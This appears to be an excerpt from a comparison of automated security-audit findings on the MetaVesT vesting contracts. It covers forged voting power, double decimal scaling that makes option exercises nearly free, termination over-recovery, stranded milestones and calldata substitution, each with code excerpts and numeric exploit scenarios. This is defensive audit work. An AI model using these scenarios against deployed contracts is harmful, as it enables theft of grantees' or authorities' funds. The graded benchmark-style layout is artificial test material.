exact expected ABI length and hash msg.data[36:] (everything after the selector and grant). Reject proposals whose _callData length differs from the canonical encoding.
Vercel Security Review
Arbitrary contracts can supply voting power for any set's amendments
src/MetaVesTController.sol:591Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Untrusted grant supplies voter identity and weight** -
src/MetaVesTController.sol:591-595```solidity title="src/MetaVesTController.sol:591-594"
if(BaseAllocation(_grant).grantee() != msg.sender) revert MetaVesTController_OnlyGrantee();
if (!functionToSetMajorityProposal[_msgSig][_setName].isPending) revert MetaVesTController_NoPendingAmendment(_msgSig, _grant);
if (!_checkFunctionToTokenToAmendmentTime(_msgSig, _setName))
revert MetaVesTController_ProposedAmendmentExpired();
```
Any outsider can supply a contract reporting themselves as grantee and fabricated governing power; neither set membership nor controller provenance is checked.
**2. Fabricated weight becomes affirmative votes** -
src/MetaVesTController.sol:604-607```solidity title="src/MetaVesTController.sol:604-607"
if (_inFavor) {
proposal.voters.push(_grant);
proposal.currentVotingPower += _callerPower;
}
```
**3. Forged majority authorizes amendments** -
src/MetaVesTController.sol:146-148```solidity title="src/MetaVesTController.sol:146-148"
if (!proposal.isPending || proposal.totalVotingPower>proposal.currentVotingPower*2 || keccak256(_data[_data.length - 32:]) != proposal.dataHash ) {
revert MetaVesTController_AmendmentNeitherMutualNorMajorityConsented();
}
```
For an authority-proposed amendment, outsiders can satisfy the consent gate without affected grantees' votes. Authority execution remains required, but the majority protection is defeated.
- Exploit scenario
-
Not specified.
- Recommendation
-
Before reading voting power, require that the grant is a registered allocation controlled by this controller and belongs to the proposal's set. Derive eligible voters and their voting weights from a proposal snapshot rather than caller-selected contracts.
-
Possibility for users to buy tokens from MetaVesT for free metavest-3 · 9 writeups High
V12
Unequal token decimals undercharge option exercises
src/TokenOptionAllocation.sol:55Predicted severity: High- Root cause
-
getPaymentAmount()applies a second decimal conversion when the payment token has fewer decimals, despiteexercisePricealready being expressed in payment-token units per whole allocation token. - Impact
-
A grantee can acquire authority-funded option tokens for substantially less than the configured consideration, including zero consideration when the extra division rounds the payment to zero. This crosses the normal controller-funded asset boundary and requires neither a malicious token nor direct self-deployment.
- Description
-
The constructor stores
exercisePricein the payment-token denomination and accepts allocation and payment tokens with different decimals. IngetPaymentAmount(), the amount is first converted with_amount * exercisePrice / 10**exerciseTokenDecimals, which already produces payment-token base units. When the payment token has fewer decimals, the function divides that result again by10**(exerciseTokenDecimals - paymentDecimals). For an 18-decimal allocation token and a 6-decimal payment token priced at1e6, exercising one whole allocation token consequently costs zero instead of1e6payment units. The controller validates nonzero addresses and price but does not prevent this supported token configuration, andexerciseTokenOption()credits the entire exercised quantity after the resulting payment transfer.
Codex Security (GPT-6 Sol)
Lower-decimal payment token lets a grantee exercise options below the quoted price
src/TokenOptionAllocation.sol:125Predicted severity: High- Root cause
-
The option payment getter divides the grant quantity by its token scale and then applies an extra division when the payment token has fewer decimals. exerciseTokenOption uses the reduced amount while increasing tokensExercised.
- Impact
-
The grantee can acquire funded option tokens without paying the authority for a realistic 18/6 decimal combination.
- Description
-
An option grantee can exercise a funded award for zero payment when the payment token has fewer decimals than the grant token.
- Exploit scenario
-
Exercise amount → extra division in getPaymentAmount → zero payment transfer → tokensExercised increment
- Recommendation
-
Define price in payment-token base units and calculate amount × price ÷ 10^grantTokenDecimals once, using full-precision arithmetic and a clear rounding rule.
Pashov (Claude Opus 5.5 high)
getPaymentAmount scales twice when payment token has fewer decimals, making option exercises / repurchases nearly free
src/TokenOptionAllocation.sol:116Predicted severity: High- Root cause
-
An extra decimal normalization in the else branch of getPaymentAmount, duplicated in both TokenOptionAllocation and RestrictedTokenAward.
- Impact
-
With an 18-decimal vesting token and a 6-decimal payment token (e.g. USDC), the payment is 1e12 times too small. Grantees exercise options for close to nothing, so authority/the DAO lose the strike price. In RTAs, authority repurchases restricted tokens for close to nothing, so grantees lose. Rounding to zero also allows free exercises of small amounts.
- Description
-
The price is documented as 'in decimals of the payment token' per whole vesting token. The correct payment is amount * price / 10**tokenDecimals, which is what the first branch computes. The else branch (paymentDecimals < tokenDecimals) computes that same value and then divides again by 10**(tokenDecimals - paymentDecimals).
- Exploit scenario
-
TokenOption with an 18-decimal token, USDC payment, exercisePrice = 1e6 (1 USDC). Grantee exercises 1e18 * 1000 tokens: payment = 1000e18*1e6/1e18 = 1000e6, then /1e12 = 0. The grantee pays 0 USDC for 1000 tokens.
- Recommendation
-
Remove the second division, i.e. always paymentAmount = _amount * price / 10**tokenDecimals, and round up for exercises.
Pashov (Codex GPT-6 Sol high)
Payment calculation double-scales lower-decimal tokens
src/TokenOptionAllocation.sol:116Predicted severity: High- Root cause
-
A second decimal adjustment is applied after price has already been expressed in payment-token units.
- Impact
-
Option grantees can exercise for too little payment and authorities can underpay repurchases.
- Description
-
When payment decimals are lower than grant-token decimals, paymentAmount is divided by 10**grantDecimals and again by 10**the difference.
- Exploit scenario
-
With 18-decimal grant tokens, 6-decimal payment tokens and a 1e6 price, one grant token costs zero instead of 1e6.
- Recommendation
-
Divide grant amount by 10**grantTokenDecimals only.
Devin Security
Repurchase payment is divided twice when the payment token has fewer decimals, so grantees are paid almost nothing
src/RestrictedTokenAllocation.sol:116Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
When the payment token has fewer decimals than the award token (for example a 6-decimal stablecoin against an 18-decimal token), the authority repurchases a grantee's restricted tokens for about one trillionth of the agreed price.
##### What's wrong
This is a unit conversion bug. The price is documented as payment token units per whole award token.
_amount * repurchasePrice / 10**tokenDecimalsalready gives the payment amount in payment token units. Theelsebranch then divides again by10**(tokenDecimals - paymentDecimals).##### Who can do it
Alice, a grantee at Acme Corp, has a restricted award of an 18-decimal token. The agreed repurchase price is 1 USDC per token, stored as
1e6. Acme terminates her. Mallory, who controls the authority, repurchases 1000 of Alice's unvested tokens. Alice should receive 1000 USDC. The contract computes 0.000000001 USDC, which rounds to zero.- Mallory holds the
authorityrole and the award is terminated.- The payment token has fewer decimals than the award token, which is common with USDC or USDT.
##### What they get
Mallory takes back Alice's unvested tokens without paying the agreed price. Alice loses the money her contract promised her. Combined with the repeated repurchase bug, Mallory can also take vested tokens almost for free. This affects every restricted award on the controller that uses such a token pair.
TokenOptionAllocation.getPaymentAmounthas the same formula, so grantees there exercise options for almost nothing.##### How it works
1.
getPaymentAmountreads both token decimals (RestrictedTokenAllocation.sol:117-118).2. When the payment token has fewer decimals, it computes the correct amount and then divides by the decimal gap again (RestrictedTokenAllocation.sol:125-126).
3.
repurchaseTokenspulls this reduced amount from the authority and still sends the full_amountof tokens to the authority (RestrictedTokenAllocation.sol:140-144). - Exploit scenario
-
Not specified.
- Recommendation
-
Use one formula,
_amount * repurchasePrice / 10**tokenDecimals, and remove the extra division. If the price is meant to be in some other unit, document it and scale in both directions. FixTokenOptionAllocation.getPaymentAmountthe same way. Add a test with an 18-decimal award token and a 6-decimal payment token at price1e6. Confirm that repurchasing1e18costs exactly1e6.
Devin Security (Deep)
Repurchase payment is divided by the decimals gap twice, under-paying the grantee when the payment token has fewer decimals
src/RestrictedTokenAllocation.sol:113Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
When the payment token has fewer decimals than the grant token and the price is set in payment token units as the documentation says, the authority repurchases the grantee's tokens for a tiny fraction of the agreed price, usually rounding to zero.
##### What's wrong
This is a unit mix-up. getPaymentAmount first computes amount * price / 10^tokenDecimals, which already yields payment token units when the price is in payment token units, and then divides again by 10^(tokenDecimals - paymentDecimals). The two branches implicitly expect the price in different units, while the NatSpec says payment token decimals.
##### Who can do it
Acme Corp sets up a restricted token award for Alice paid in a 6 decimal stablecoin, with repurchasePrice = 1,000,000, meaning one stablecoin per token as the docs describe. After termination Acme repurchases 1,000 unvested tokens.
- The payment token has fewer decimals than the grant token (for example USDC against an 18 decimal token).
- The price was configured in payment token units as documented. The repository tests avoid the bug only by passing 1e18 as the price with a 6 decimal payment token.
##### What they get
The payment computes as 1000e18 * 1e6 / 1e18 = 1e9, which is the correct 1,000 stablecoins, and is then divided by 1e12 to 0. Acme takes 1,000 tokens and pays nothing. Any repurchase below one million tokens pays zero and larger ones pay one millionth of the agreed price. Combined with the repurchase limit bug in this file, this extends to Alice's vested tokens. The identical function in TokenOptionAllocation lets a grantee exercise options for free (reported there).
##### How it works
1. The controller docstring (MetaVesTController.sol:418) and updatePrice NatSpec (RestrictedTokenAllocation.sol:106) say the price is in payment token units.
2. getPaymentAmount (RestrictedTokenAllocation.sol:116-129) takes the branch at lines 124-126 when paymentDecimals < repurchaseTokenDecimals and divides twice.
3. repurchaseTokens (RestrictedTokenAllocation.sol:140-142) pulls that under-scaled amount from the authority.
- Exploit scenario
-
Not specified.
- Recommendation
-
Define the price unit once (payment token units per whole grant token) and compute amount * price / 10**grantTokenDecimals in every case; revert when the computed payment is zero. Verify with a test using a 6 decimal payment token, an 18 decimal grant token and price 1e6, asserting that one whole token costs 1e6.
Claude Security (Sonnet 5.5)
getPaymentAmount applies an extra 10^(tokenDecimals - paymentDecimals) division when payment token has fewer decimals, understating the exercise cost by orders of magnitude (rounding to zero)
src/TokenOptionAllocation.sol:126Predicted severity: Medium- Root cause
-
Vulnerable symbol: TokenOptionAllocation.getPaymentAmount
Preconditions: Payment token has fewer decimals than the vesting token; Price is configured per the documented payment-token-decimals convention
Offending code:
paymentAmount = paymentAmount / (10**(exerciseTokenDecimals - paymentDecimals));
- Impact
-
Option exercise payments can be undercharged by a factor of 10^(tokenDecimals - paymentDecimals), up to a complete bypass of the exercise price. The authority is deprived of the agreed payment.
- Description
-
The two branches are mutually inconsistent. For paymentDecimals >= tokenDecimals the cost is amount*price/10^tokenDecimals. For paymentDecimals < tokenDecimals the same value is divided again by 10^(tokenDecimals - paymentDecimals). The natspec (updatePrice, controller docs) defines price as payment-token units per token, so the first expression is already in payment decimals. The extra division is applied to the grantee-controlled exercise amount.
- Exploit scenario
-
Vesting token has 18 decimals and the payment token is USDC (6 decimals), the most common pairing. The authority follows the documented convention and sets exercisePrice = 2_000_000 (2 USDC per token). Exercising 1e24 tokens (1,000,000 tokens) gives 1e24*2e6/1e18 = 2e12, then /1e12 = 2 units, i.e. 0.000002 USDC. Any exercise under ~500,000 tokens costs 0 (floor). The grantee exercises the whole grant for effectively nothing. If operators instead treat price as an 18-decimal fixed-point value (as the test fixtures do), the pay > token case lacks the matching scale-up, so the same bug appears with the roles reversed.
- Recommendation
-
Define one price convention and implement it consistently: e.g. cost = _amount * exercisePrice / 10^tokenDecimals when price is in payment decimals, with no second division. Alternatively use a fixed-point price and scale by 10^paymentDecimals / 10^tokenDecimals in both directions. Round up (mulDivUp) so tiny exercises cannot be free. Add tests covering unequal-decimals pairs.
Claude Security (Opus 5.5)
Double decimal scaling lets the authority repurchase restricted tokens for about 10^-(decimal difference) of the agreed price
src/RestrictedTokenAllocation.sol:126Predicted severity: Medium- Root cause
-
Vulnerable symbol: getPaymentAmount
Preconditions: paymentToken has fewer decimals than the vesting token; Authority repurchases after termination
Offending code:
paymentAmount = paymentAmount / (10**(repurchaseTokenDecimals - paymentDecimals));
- Impact
-
The grantee is underpaid by a factor of 10^(decimal difference) for repurchased restricted tokens.
- Description
-
repurchasePrice is payment-token units per whole token. When payment decimals are lower than the token's, the else branch scales a second time, so repurchaseTokens (line 140/142) pulls a truncated, often zero, payment from the authority and still sends the grantee's tokens to the authority (line 144).
- Exploit scenario
-
With an 18-decimal token and a 6-decimal payment token, the authority terminates the grant and calls repurchaseTokens(unvested). The repurchase payment is 1e12 times too small (0 for typical amounts), so the grantee's claimRepurchasedTokens yields almost nothing for the tokens taken.
- Recommendation
-
Use a single normalization, _amount * repurchasePrice / 10**tokenDecimals, and round up in the grantee's favour.
Vercel Security Review
Extra decimal scaling can make option exercises and repurchases free
src/TokenOptionAllocation.sol:125Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Exercise prices are specified in payment-token units** -
src/TokenOptionAllocation.sol:106-109```solidity title="src/TokenOptionAllocation.sol:106-109"
/// @param _newPrice - the new exercise price in decimals of the payment token
function updatePrice(uint256 _newPrice) external onlyController {
if(terminated) revert MetaVesT_AlreadyTerminated();
exercisePrice = _newPrice;
```
**2. Lower-decimal payment tokens trigger an extra division** -
src/TokenOptionAllocation.sol:125-126```solidity title="src/TokenOptionAllocation.sol:125-126"
paymentAmount = _amount * exercisePrice / (10**exerciseTokenDecimals);
paymentAmount = paymentAmount / (10**(exerciseTokenDecimals - paymentDecimals));
```
For 18-decimal allocation tokens, a 6-decimal payment token, and price 1e6, exercising one whole token computes zero rather than 1e6. RestrictedTokenAllocation.sol:125-126 duplicates this error for repurchases.
**3. Zero payment still credits exercised tokens** -
src/TokenOptionAllocation.sol:141-143```solidity title="src/TokenOptionAllocation.sol:141-143"
if (IERC20M(paymentToken).balanceOf(msg.sender) < paymentAmount) revert MetaVesT_InsufficientPaymentTokenBalance();
safeTransferFrom(paymentToken, msg.sender, getAuthority(), paymentAmount);
tokensExercised += _tokensToExercise;
```
Grantees can obtain vested options without the stipulated payment; authorities can similarly underpay restricted-token repurchases.
- Exploit scenario
-
Not specified.
- Recommendation
-
Define and consistently enforce price units in both allocation types. For prices denominated in payment-token base units per whole allocation token, calculate amount times price divided by 10^allocationDecimals without a second decimal conversion. Use appropriate rounding to prevent positive purchases rounding to zero.
-
Incorrect calculation in terminate function metavest-4 · 8 writeups High
V12
Prior withdrawals inflate termination collateral recovery
src/BaseAllocation.sol:153Predicted severity: High- Root cause
-
The termination recovery formula adds
tokensWithdrawneven though withdrawals already reduced the actual balance and do not increase unvested entitlement. This double-counts previously delivered tokens as additional recoverable collateral. - Impact
-
Ordinary pre-termination withdrawals can cause authority recovery to remove collateral backing the grantee's remaining paid option rights. Larger prior withdrawals can instead make termination unavailable because the inflated recovery exceeds the escrow balance; both outcomes arise under normally funded grants without malformed constructor parameters.
- Description
-
The constructor initializes withdrawal and exercise counters at zero, but normal exercise followed by withdrawal makes
tokensWithdrawnpositive before termination.terminate()computes recovery as total configured funding minus remaining exercisable rights minus exercised quantity, then addstokensWithdrawn. The exercisable quantity already subtracts exercised tokens, so the first two deductions reduce to the vested amount; adding withdrawals incorrectly increases the unvested recovery rather than preserving the outstanding funded rights. With 100 fully vested and exercised tokens and 40 already withdrawn, the function attempts to transfer another 40 to authority even though no tokens are unvested. If the remaining balance is sufficient, termination succeeds with too little collateral for the other 60 paid tokens; otherwise it reverts and blocks termination.
Pashov (Claude Opus 5.5 high)
VestingAllocation.terminate adds tokensWithdrawn instead of ignoring it, seizing vested tokens or making termination revert
src/VestingAllocation.sol:79Predicted severity: High- Root cause
-
Wrong sign/term in the recovery formula: tokensWithdrawn is added even though withdrawn tokens have already left the contract and are part of the vested amount.
- Impact
-
After termination the contract holds vested - 2*tokensWithdrawn instead of vested - tokensWithdrawn. Authority takes tokensWithdrawn worth of the grantee's vested-but-unwithdrawn tokens, so the grantee's later withdraw() fails the balance check. If the grantee has withdrawn more than half of the vested amount, the transfer exceeds the balance and terminate() reverts. Authority then cannot terminate at all and vesting keeps running.
- Description
-
terminate() computes the amount returned to authority as tokenStreamTotal + milestonesAllocation - getVestedTokenAmount() + tokensWithdrawn. The contract balance before termination is tokenStreamTotal + milestonesAllocation - tokensWithdrawn, and the unvested remainder authority should get back is tokenStreamTotal + milestonesAllocation - vested. Adding tokensWithdrawn counts tokens the grantee already withdrew a second time.
- Exploit scenario
-
Grantee has vested 600 of 1000 tokens and withdrawn 400. Authority calls terminateMetavestVesting. tokensToRecover = 1000 - 600 + 400 = 800, but only 600 are held. The call reverts and the grant cannot be terminated. With 200 withdrawn instead: authority gets 600 (400 unvested + 200 of the grantee's vested tokens), leaving 200 of the grantee's 400 still owed.
- Recommendation
-
Use tokensToRecover = tokenStreamTotal + milestonesAllocation - getVestedTokenAmount() (no + tokensWithdrawn), and use a consistent definition of the milestone totals (see the removed-milestone finding).
Pashov (Codex GPT-6 Sol high)
Termination over-recovers tokens after prior withdrawals
src/VestingAllocation.sol:79Predicted severity: High- Root cause
-
The recovery formulas include + tokensWithdrawn.
- Impact
-
The authority can receive tokens reserved for the grantee; termination can also revert when the computed recovery exceeds the actual balance.
- Description
-
Termination adds prior withdrawals to the authority recovery even though those tokens have already left the allocation.
- Exploit scenario
-
Fund 100, vest 40, withdraw 10, then terminate; vesting sends 70 to authority, leaving 20 against the grantee’s remaining 30-token claim.
- Recommendation
-
Remove + tokensWithdrawn from both recovery formulas and reconcile against remaining balance.
Devin Security
Termination adds withdrawn tokens to the recovery amount, so a grantee can block termination or lose vested tokens
src/VestingAllocation.sol:79Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A grantee who has withdrawn their vested tokens can make termination revert forever and keep vesting the whole grant. A grantee who withdrew less loses part of their vested tokens to the company when it terminates.
##### What's wrong
This is an accounting bug.
terminatecomputes the tokens to send back as unvested tokens plustokensWithdrawn. Withdrawn tokens have already left the contract, so the amount should not grow with them. The math asks for more tokens than the contract holds or should return.##### Who can do it
Alice, an engineer at Acme Corp, has a vesting grant. Mallory is a grantee at Acme who expects to be fired. Mallory withdraws everything she can each time it unlocks. When Acme's authority calls
terminateMetavestVestingon her grant, the transfer asks for more tokens than the contract holds and reverts. In the other direction, when Acme terminates Alice after she withdrew a small amount, Alice loses that amount again from her remaining vested tokens.- Mallory is the grantee of a
VestingAllocation.- Her unlock schedule keeps pace with her vesting, so she can withdraw at least half of her vested tokens.
- The authority cannot cut her vesting or unlock rate without her consent.
##### What they get
Mallory blocks her own termination. She keeps vesting and later withdraws the unvested part of the grant that Acme meant to take back. She can do this until the whole grant has vested. In the other case, Acme takes vested tokens that belong to Alice. The amount equals what Alice had already withdrawn. The damage stays within one grant at a time.
##### How it works
1. The contract balance before termination is the grant total minus
tokensWithdrawn.2.
terminatesetstokensToRecoverto the total minus the vested amount plustokensWithdrawn(VestingAllocation.sol:86).3. The transfer to the authority needs more tokens than the balance whenever
tokensWithdrawnis more than half of the vested amount, so it reverts (VestingAllocation.sol:88).4. When it does not revert, the contract keeps only the vested amount minus twice
tokensWithdrawn, which is less than the grantee can still withdraw. - Exploit scenario
-
Not specified.
- Recommendation
-
Compute the recovery amount as
tokenStreamTotal + milestonesAllocation - getVestedTokenAmount(), without addingtokensWithdrawn. Apply the same fix toTokenOptionAllocation.terminate, which has the same pattern. Add a test where the grantee withdraws all vested tokens and the authority then terminates. Confirm termination succeeds and the grantee can still withdraw the rest of their vested tokens.
Devin Security (Deep)
Termination adds tokensWithdrawn to the recovered amount, shorting the grantee or reverting
src/TokenOptionAllocation.sol:149Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Terminating a grant takes back the grantee's already withdrawn amount a second time out of their remaining balance, and if the grantee has withdrawn more than half of what vested the termination reverts, so a grantee can block termination for good simply by withdrawing as they vest.
##### What's wrong
This is an arithmetic error in the recovery formula. The contract holds total minus withdrawn, and the grantee is owed vested minus withdrawn, so the correct recovery is total minus vested. terminate() instead computes total minus vested plus withdrawn.
##### Who can do it
Alice holds a token option grant from Acme Corp. She exercises and withdraws tokens as they vest. Acme later decides to terminate her grant.
- Loss case: 2 * tokensWithdrawn <= vested, and Alice loses tokensWithdrawn tokens to the authority.
- Block case: 2 * tokensWithdrawn > vested, which any grantee can arrange by withdrawing promptly; termination then reverts.
##### What they get
In the block case Acme's terminateMetavestVesting reverts every time, so Alice's grant keeps vesting the whole remaining stream and Acme cannot stop it (updateMetavestVestingRate to zero needs consent, absent the consent bypasses reported in MetaVesTController.sol). In the loss case Acme receives tokensWithdrawn more than it should and Alice can later withdraw only vested - 2 * withdrawn, losing the difference. Example with total 1000, vested 500, exercised 500: withdrawn 400 gives a balance of 600 and a formula result of 900, so terminate reverts; withdrawn 200 gives a balance of 800 and a formula result of 700, so Acme takes 700 while Alice is owed 300 and only 100 remain. VestingAllocation.terminate has the same formula.
##### How it works
1. terminate (TokenOptionAllocation.sol:149-162) line 156 computes tokensToRecover = total + sum(milestones) - getAmountExercisable() - tokensExercised + tokensWithdrawn.
2. getAmountExercisable (TokenOptionAllocation.sol:174-188) is linearVested + milestoneAwardTotal - tokensExercised, so the expression equals total + sum(milestones) - linearVested - milestoneAwardTotal + tokensWithdrawn.
3. The contract holds total + sum(milestones) - tokensWithdrawn, so the safeTransfer at line 159 reverts whenever 2 * tokensWithdrawn exceeds linearVested + milestoneAwardTotal, and otherwise sends tokensWithdrawn too many tokens to the authority.
4. Alice's later withdraw (BaseAllocation.sol:275) is capped by the depleted balance.
- Exploit scenario
-
Not specified.
- Recommendation
-
Remove the + tokensWithdrawn term: recover total + sum(milestones) - linearVested - milestoneAwardTotal (equivalently balanceOf(this) minus what the grantee is still owed), in both TokenOptionAllocation.sol:156 and VestingAllocation.sol:86. Verify with a test where the grantee exercises and withdraws more than half of the vested amount, then terminate, asserting success and that the grantee can still withdraw exactly vested - withdrawn.
Claude Security (Sonnet 5.5)
VestingAllocation.terminate() adds tokensWithdrawn to the recovery amount, so termination takes the grantee's vested tokens or reverts
src/VestingAllocation.sol:86Predicted severity: High- Root cause
-
Vulnerable symbol: terminate
Preconditions: Grantee has withdrawn a nonzero amount before terminate() is called; Controller authority calls terminateMetavestVesting (loss path), or the grantee pre-emptively withdraws at least half of their vested amount (blocking path)
Offending code:
tokensToRecover = allocation.tokenStreamTotal + milestonesAllocation - getVestedTokenAmount() + tokensWithdrawn;
- Impact
-
When vested amount is at least twice tokensWithdrawn, an ordinary authority termination sweeps tokensWithdrawn worth of the grantee's vested, unwithdrawn tokens to the authority. The grantee cannot withdraw them afterwards because withdraw() also checks the contract balance. Otherwise terminate() reverts permanently until enough has vested. A grantee who has withdrawn at least half of their vested tokens can therefore prevent the authority from recovering the unvested remainder.
- Description
-
getVestedTokenAmount() is cumulative and already includes tokens the grantee has withdrawn. The contract balance is total+milestones-tokensWithdrawn, so the correct recovery is total+milestones-vested. The extra '+ tokensWithdrawn' over-recovers by exactly tokensWithdrawn, and the following safeTransfer to the authority is sized from that wrong number. Also CWE-682: The contract is funded with T = tokenStreamTotal + milestones and holds T - tokensWithdrawn after withdrawals, while the unvested remainder to return is T - vested. The extra + tokensWithdrawn double-counts withdrawals, so the amount sent to the authority at line 88 exceeds the unvested remainder by exactly tokensWithdrawn.
- Exploit scenario
-
Take tokenStreamTotal=1000, no milestones, vested=300, and the grantee has withdrawn 150. The contract balance is 850 and the grantee is still owed 150 vested tokens. The controller's terminateMetavestVesting (authority only, no grantee consent) computes 1000-300+150=850 and transfers the whole balance to the authority, leaving the grantee with 0. If instead the grantee has withdrawn 200 of 300 vested, the computed amount is 900 against a balance of 800. The token transfer then fails with TransferFailed, so the authority can no longer terminate. A grantee who sees termination coming can withdraw more than half of their vested amount to block it. Existing tests only terminate when tokensWithdrawn is 0, so this path is untested.
- Recommendation
-
Remove '+ tokensWithdrawn'. Use tokensToRecover = tokenStreamTotal + milestonesAllocation - getVestedTokenAmount(). Cap it by the contract balance minus (vested - tokensWithdrawn), and add tests that terminate after partial withdrawals. Also CWE-682: Use tokensToRecover = tokenStreamTotal + milestonesAllocation - getVestedTokenAmount(), without adding tokensWithdrawn. Cap it by the contract's token balance minus the grantee's remaining entitlement (vested - tokensWithdrawn) so the transfer cannot revert or over-recover.
Claude Security (Opus 5.5)
terminate() adds tokensWithdrawn to the recovery amount, so termination either takes the grantee's vested tokens or reverts
src/VestingAllocation.sol:86Predicted severity: High- Root cause
-
Vulnerable symbol: terminate
Preconditions: Grantee has withdrawn a nonzero amount before termination; Authority calls terminateMetavestVesting
Offending code:
tokensToRecover = allocation.tokenStreamTotal + milestonesAllocation - getVestedTokenAmount() + tokensWithdrawn;
- Impact
-
After any prior withdrawal, a routine termination confiscates vested tokens owed to the grantee, equal to the amount already withdrawn. Alternatively, a grantee can make their own grant impossible to terminate and keep vesting the unvested allocation.
- Description
-
The contract balance is tokenStreamTotal + milestones - tokensWithdrawn, but the recovery amount is computed as total - vested + tokensWithdrawn. The unvested remainder should be total - vested. The withdrawn amount is effectively counted twice, and the result is sent to the authority by safeTransfer at line 88. Also CWE-191: removeMilestone (BaseAllocation.sol:246) deletes a milestone without checking
complete. milestonesAllocation, the sum of current awards, drops, while milestoneAwardTotal, which is included in getVestedTokenAmount, keeps the deleted award. Once linear vesting is near full, T + milestonesAllocation - vested underflows and terminate reverts. The same applies to TokenOptionAllocation.sol:156. - Exploit scenario
-
Take T=1000 and vested=unlocked=600, after the grantee has withdrawn W=200, leaving a balance of 800. terminate() sends 1000-600+200=600 to the authority and leaves 200, while the grantee is still owed 600-200=400. The grantee loses 200 vested tokens. In general the leftover balance is V-2W, so the grantee always loses W. Conversely, once W > V/2 (for example, the grantee withdraws everything available, or front-runs terminateMetavestVesting with a withdraw), the transfer exceeds the balance and terminate reverts. The grantee keeps vesting, and the authority cannot pause vesting without the grantee's consent.
- Recommendation
-
Recover exactly the unvested amount, tokensStreamTotal + milestonesAllocation - getVestedTokenAmount(), with no tokensWithdrawn term. Equivalently, recover balanceOf(this) - (vested - tokensWithdrawn). Also CWE-191: In removeMilestone, revert if milestones[_milestoneIndex].complete is true. Base recovery calculations on the actual balance rather than on recomputed totals.
Vercel Security Review
Termination adds prior withdrawals to recoverable funds and consumes vested backing
src/VestingAllocation.sol:86Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Withdrawals already reduce the escrow balance** -
src/BaseAllocation.sol:275-277```solidity title="src/BaseAllocation.sol:275-277"
if (_amount > getAmountWithdrawable() || _amount > IERC20M(allocation.tokenContract).balanceOf(address(this))) revert MetaVesT_MoreThanAvailable();
tokensWithdrawn += _amount;
safeTransfer(allocation.tokenContract, msg.sender, _amount);
```
**2. Vesting termination adds those withdrawals to recovery** -
src/VestingAllocation.sol:86-88```solidity title="src/VestingAllocation.sol:86-88"
tokensToRecover = allocation.tokenStreamTotal + milestonesAllocation - getVestedTokenAmount() + tokensWithdrawn;
terminationTime = block.timestamp;
safeTransfer(allocation.tokenContract, getAuthority(), tokensToRecover);
```
With 100 allocated, 60 vested, and 20 withdrawn, termination recovers 60 instead of 40, leaving only 20 backing the remaining 40 vested entitlement.
**3. Options repeat the same over-recovery** -
src/TokenOptionAllocation.sol:156-159```solidity title="src/TokenOptionAllocation.sol:156-159"
uint256 tokensToRecover = allocation.tokenStreamTotal + milestonesAllocation - getAmountExercisable() - tokensExercised + tokensWithdrawn;
terminationTime = block.timestamp;
shortStopTime = block.timestamp + shortStopDuration;
safeTransfer(allocation.tokenContract, getAuthority(), tokensToRecover);
```
Normal authority termination either takes vested backing or reverts when the inflated recovery exceeds the remaining balance, preventing termination.
- Exploit scenario
-
Not specified.
- Recommendation
-
Compute recovery from actual escrow balance minus all outstanding protected entitlements. For standard fully funded grants, prior withdrawals must not increase the original unvested recovery amount. Correct both VestingAllocation and TokenOptionAllocation and cover partial withdrawal before termination.
-
Unable to unlock milestone metavest-5 · 2 writeups High
V12
Deferred milestone awards never unlock after payment
src/TokenOptionAllocation.sol:45Predicted severity: High- Root cause
-
unlockOnCompletion=falsemilestones are excluded from immediate unlock accounting without being incorporated into any deferred unlocking calculation. The stream-only cap makes the omission persist after the schedule completes. - Impact
-
Grantees can pay for option rights that never unlock, leaving the corresponding allocation tokens unavailable under the initialized schedule. Post-termination recovery can transfer these paid-but-locked tokens to authority, producing conditional loss of paid entitlement rather than merely a displayed balance discrepancy.
- Description
-
A milestone initialized with
unlockOnCompletion=falseis accepted and funded through normal option creation. When its conditions are satisfied,confirmMilestone()creditsmilestoneAwardTotalbut never creditsmilestoneUnlockedTotalfor that milestone. The grantee can therefore exercise the milestone and pay its configured consideration. However, the linear unlock calculation is permanently capped atallocation.tokenStreamTotal, and the only extra unlock credit comes from milestones whoseunlockOnCompletionflag was true. After exercising and withdrawing the entire stream, the false-flag milestone cannot become withdrawable even when the unlocking schedule has fully elapsed.
Vercel Security Review
Deferred milestone awards never unlock
src/VestingAllocation.sol:117Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Completing a milestone only unlocks it immediately when configured true.** -
src/BaseAllocation.sol:232-235```solidity title="src/BaseAllocation.sol:232-235"
milestone.complete = true;
milestoneAwardTotal += milestone.milestoneAward;
if(milestone.unlockOnCompletion)
milestoneUnlockedTotal += milestone.milestoneAward;
```
**2. Linear unlocking caps at tokenStreamTotal, which excludes milestone awards. With unlockOnCompletion=false, even a completed award never unlocks. Withdrawal takes the minimum of vested and unlocked amounts, stranding that award after both schedules finish. RestrictedTokenAllocation.sol:213-216 and TokenOptionAllocation.sol:198-201 repeat this cap; option grantees can pay for tokens they cannot withdraw.** -
src/VestingAllocation.sol:117-120```solidity title="src/VestingAllocation.sol:117-120"
if(_tokensUnlocked>allocation.tokenStreamTotal)
_tokensUnlocked = allocation.tokenStreamTotal;
return _tokensUnlocked += milestoneUnlockedTotal;
```
- Exploit scenario
-
Not specified.
- Recommendation
-
Include completed, deferred-unlock milestone awards in scheduled unlock entitlements and the final unlock cap, without double-counting immediately unlocked awards.
-
The authority can execute majority-consented proposals with arbitrary data metavest-6 · 7 writeups High
V12
Trailing calldata substitutes approved amendment values
src/MetaVesTController.sol:140Predicted severity: Medium- Root cause
-
The majority authorization hash covers a position relative to total calldata length rather than the canonical decoded mutation payload. Appended calldata can decouple the authorized word from the executed argument.
- Impact
-
An authority can replace the economic parameters approved by a set with unapproved parameters, including a zero unlock rate or a different exercise price. This defeats majority consent even when every vote came from a legitimate member and the proposal passed legitimately; configured selector conditions remain a separate requirement.
- Description
-
